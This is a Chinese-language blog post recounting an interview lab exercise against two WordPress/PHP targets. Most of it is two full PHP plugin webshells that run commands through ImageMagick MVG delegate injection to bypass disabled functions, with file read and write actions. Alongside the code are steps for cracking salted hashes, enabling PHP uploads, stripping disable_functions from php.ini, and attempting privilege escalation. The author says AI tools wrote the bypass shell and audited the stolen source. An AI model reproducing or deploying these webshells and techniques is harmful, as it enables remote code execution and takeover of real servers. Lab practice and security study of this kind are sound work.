记录渗透测试工程师面试一面打靶场记录
2026应届生投了两个星期简历上个星期终于有面试邀约了一面是打靶场二面是技术面三面是人事面也是好久没记录靶场了本文就用了记录一下靶场面希望之后的技术面能通过把。总共两个靶场靶场的目标都是拿到getshell和提权需要我todesk远程连上他们的主机操作真折磨啊todesk卡不说机器上面一个工具都没有bp都没有感觉大部分时间都在下工具和配环境了。首先是靶场一域名是testd.com靶场都是内网连通的机器估计都是虚拟机后续要是有面试者直接用快照还原就完事了。目录扫描、端口扫描目录扫描发现wordpress站点2.发现wordpress/wp-config.php处于安装环节填写安装信息 填写安装信息这个忘记截图了安装完了才发现站点标题: ctf用户名: ctfadmin密码: CtfAdm1n!2026邮箱:ctfadmintestd.com3.安装完成后访问http://testd.com/wordpress/wp-login.php登录账户4.看到wordpress一想到的就是最简单的getshell的方式就制作wordpress插件shell首先查看之前发现的phpinfo.php,查看服务器禁用了哪些函数好家伙感觉犯天条了我会写的几个函数全被ban了没办法只能求助ai顺便感慨一下以前没有ai的时代老师傅们都是怎么写的webshell。上传插件shell主要围绕未被禁用的 Imagick函数来绕过写的代码也没细看发出来给大家品鉴学习一下总共需要上传两个shell一个是wp-imagick-shell.php一个是wp-imagick-ajax-shell.php。?php /* Plugin Name: WP Imagick Shell Description: CTF Imagick delegate bypass helper. Version: 1.0 Author: ctf */ if (isset($_GET[im]) || isset($_POST[im])) { error_reporting(0); set_time_limit(0); $key ctf2026; if (($_REQUEST[k] ?? ) ! $key) { http_response_code(403); die(403); } header(Content-Type: text/plain; charsetutf-8); function W($s){ echo $s, \n; } function clean_path($p){ return preg_replace(/[^A-Za-z0-9_\.\-\/]/, , $p); } function mvg_cmd_token($c){ $c trim(str_replace(array(\r,\n), , $c)); // Avoid quotes/spaces in the ImageMagick delegate shell line. $c str_replace(array(, , ), , $c); $c preg_replace(/\s/, ${IFS}, $c); return $c; } function trigger_mvg($payload, $tag){ $tmp tempnam(sys_get_temp_dir(), mvg_); $mvg $tmp . .mvg; rename($tmp, $mvg); file_put_contents($mvg, $payload); W([*] try $tag using $mvg); try { $im new Imagick(); $im-readImage(mvg: . $mvg); $im-clear(); W([*] Imagick readImage returned); } catch (Throwable $e) { W([!] . get_class($e) . : . $e-getMessage()); } unlink($mvg); } $a $_REQUEST[a] ?? info; if ($a info) { W(class Imagick . (class_exists(Imagick) ? YES : NO)); W(disable_functions . ini_get(disable_functions)); if (class_exists(Imagick)) { $v Imagick::getVersion(); W(version . ($v[versionString] ?? json_encode($v))); foreach (array(MVG,MSVG,SVG,HTTPS,HTTP,EPHEMERAL,LABEL,TEXT,MSL) as $f) { $q Imagick::queryFormats($f); W($f . . (!empty($q) ? implode(,, $q) : NO)); } } W(Usage: ?im1kctf2026acmdcido/tmp/im.out); W(Read: ?im1kctf2026areadf/tmp/im.out); exit; } if ($a read) { $f $_REQUEST[f] ?? /tmp/im.out; echo file_get_contents($f); exit; } if ($a cmd) { if (!class_exists(Imagick)) { W(Imagick not loaded); exit; } $cmd mvg_cmd_token($_REQUEST[c] ?? id); $out clean_path($_REQUEST[o] ?? /tmp/im.out); if ($out ) $out /tmp/im.out; unlink($out); $inj $cmd . . $out; $payloads array( pipe_comment push graphic-context\nviewbox 0 0 640 480\nfill url(https://127.0.0.1/a.jpg\|.$inj.;#)\npop graphic-context\n, semicolon_comment push graphic-context\nviewbox 0 0 640 480\nfill url(https://127.0.0.1/a.jpg\;.$inj.;#)\npop graphic-context\n, classic_pipe push graphic-context\nviewbox 0 0 640 480\nfill url(https://example.com/image.jpg\|.$inj.;echo\x)\npop graphic-context\n ); foreach ($payloads as $tag $p) trigger_mvg($p, $tag); W([*] output file: . $out); W(--- output begin ---); echo file_get_contents($out); W(--- output end ---); exit; } W(unknown action); exit; } ??php /* Plugin Name: WP Imagick Ajax Shell Description: CTF Imagick delegate shell via direct file and admin-ajax. Version: 1.1 Author: ctf */ add_action(wp_ajax_imshell, imshell_entry); add_action(wp_ajax_nopriv_imshell, imshell_entry); function imshell_w($s){ echo $s, \n; } function imshell_clean_path($p){ return preg_replace(/[^A-Za-z0-9_\.\-\/]/, , $p); } function imshell_cmd_token($c){ $c trim(str_replace(array(\r,\n), , $c)); $c str_replace(array(, , ), , $c); $c preg_replace(/\s/, ${IFS}, $c); return $c; } function imshell_trigger_mvg($payload, $tag){ $tmp tempnam(sys_get_temp_dir(), mvg_); $mvg $tmp . .mvg; rename($tmp, $mvg); file_put_contents($mvg, $payload); imshell_w([*] try $tag using $mvg); try { $im new Imagick(); $im-readImage(mvg: . $mvg); $im-clear(); imshell_w([*] Imagick readImage returned); } catch (Throwable $e) { imshell_w([!] . get_class($e) . : . $e-getMessage()); } unlink($mvg); } function imshell_entry(){ error_reporting(0); set_time_limit(0); if (($_REQUEST[k] ?? ) ! ctf2026) { http_response_code(403); die(403); } header(Content-Type: text/plain; charsetutf-8); $a $_REQUEST[a] ?? info; if ($a info) { imshell_w(OK imshell); imshell_w(plugin_file . __FILE__); imshell_w(class Imagick . (class_exists(Imagick) ? YES : NO)); imshell_w(disable_functions . ini_get(disable_functions)); if (class_exists(Imagick)) { $v Imagick::getVersion(); imshell_w(version . ($v[versionString] ?? json_encode($v))); foreach (array(MVG,MSVG,SVG,HTTPS,HTTP,EPHEMERAL,LABEL,TEXT,MSL) as $f) { $q Imagick::queryFormats($f); imshell_w($f . . (!empty($q) ? implode(,, $q) : NO)); } } imshell_w(cmd: ?actionimshellkctf2026acmdcido/tmp/im.out); imshell_w(read: ?actionimshellkctf2026areadf/tmp/im.out); exit; } if ($a read) { echo file_get_contents($_REQUEST[f] ?? /tmp/im.out); exit; } if ($a write) { $f $_REQUEST[f] ?? ; $b base64_decode($_REQUEST[b] ?? , true); if ($f $b ! false) echo file_put_contents($f, $b) ! false ? OK : FAIL; exit; } if ($a cmd) { if (!class_exists(Imagick)) { imshell_w(Imagick not loaded); exit; } $cmd imshell_cmd_token($_REQUEST[c] ?? id); $out imshell_clean_path($_REQUEST[o] ?? /tmp/im.out); if ($out ) $out /tmp/im.out; unlink($out); $inj $cmd . . $out . 21; $payloads array( pipe_comment push graphic-context\nviewbox 0 0 640 480\nfill url(https://127.0.0.1/a.jpg\|.$inj.;#)\npop graphic-context\n, semicolon_comment push graphic-context\nviewbox 0 0 640 480\nfill url(https://127.0.0.1/a.jpg\;.$inj.;#)\npop graphic-context\n, classic_pipe push graphic-context\nviewbox 0 0 640 480\nfill url(https://example.com/a.jpg\|.$inj.;echo\x)\npop graphic-context\n ); foreach ($payloads as $tag $p) imshell_trigger_mvg($p, $tag); imshell_w([*] output file: . $out); imshell_w(--- output begin ---); echo file_get_contents($out); imshell_w(--- output end ---); exit; } imshell_w(unknown action); exit; } if (isset($_GET[im]) || isset($_POST[im])) { imshell_entry(); } ?成功getshell不过不是交互式shell很多功能都有问题不知道是服务器的限制还是这个shell的问题一直cd不出去。尝试进行提权信息收集suidfind%20/%20-perm%20-4000%20-type%20f发现pkexec再尝试查看是否在sudo组中尝试sudo提权失败本靶场也就到此为止了一直没提上权希望有大佬可以分享一下思路靶场二域名是test.com还是进行信息收集和端口扫描目录扫描截图忘记保存了我这里口述一下信息收集的一下有用的信息一个是端口扫描出了8888端口发现是宝塔面板的错误页面尝试扫描了一下目录也没找到登录页暂且放弃还有就是目录扫描出了80端口的登录页上了登录页和验证码识别插件爆破也没成果无奈只能寻找别的线索。目录扫描也是慢的离谱平均一秒才5个访问最后等了大半天终于有成果了扫到了重要文件文件泄露wwwroot.zip直接把源代码泄露了。。。这靶场感觉有点der那就直接审计一下源码。一上来直接就是一个sql文件直接进去搜admin很快就找到了管理员用户和密码分别是Admin和admin007旁边是密码hash看着像md5加密尝试了一下网站在线解密没结果。那就说明不是普通的md5加密直接把压缩包丢给ai审计用的是gpt5.5审计发现了加密方式。是加固定盐加密接着让ai写了个脚本解密一下碰撞6位数字尝试一下爆出了admin007的密码是258000。2.成功登录之前扫出的后台翻来翻去在添加用户那里发现了一个上传用户头像的功能尝试了一波文件上传漏洞结果白名单限制的有点死暂时绕不过去。3.好吧思路暂时又断了突然想到还没让ai审计完全部的代码然后就发现了有一个地方可以直接该上传文件类型限制有点无语了因为在后台管理里面的选项根本就没有这个页面。直接添加上php的类型成功又上传shell了而且直接返回了文件路径4.使用中国蚁剑成功getshell连接发现shell权限太低返回req127尝试提权查看系统目录找到php配置文件php.ini把disable_functions,后面禁用的方法删除5.修改后编写脚本重复请求触发重载这个方法是之前看博客发现的要服务器上面有fastcgi就能用服务器接受一定请求后会重新读取php.ini简单叫ai又写了个脚本生效之后再次测试发现已经可以使用大部分命令6.尝试进行system提权用了joicypotato等等提权exp都不行不知道是不是被服务器上面的360杀了靶场都到此为止了。总结这两个靶场getshell都有点点难度比起之前我练习的靶场是要难一些更多考验的是随机应变的能力和自身的技术水平比如我在靶场一上面发现了这么多的函数限制我的个人硬实力是绝对写不出绕过的shell不过现在的ai发展已经到了可以运用到挖洞的程度了拥抱ai或许就是网安的师傅们下一阶段的学习了。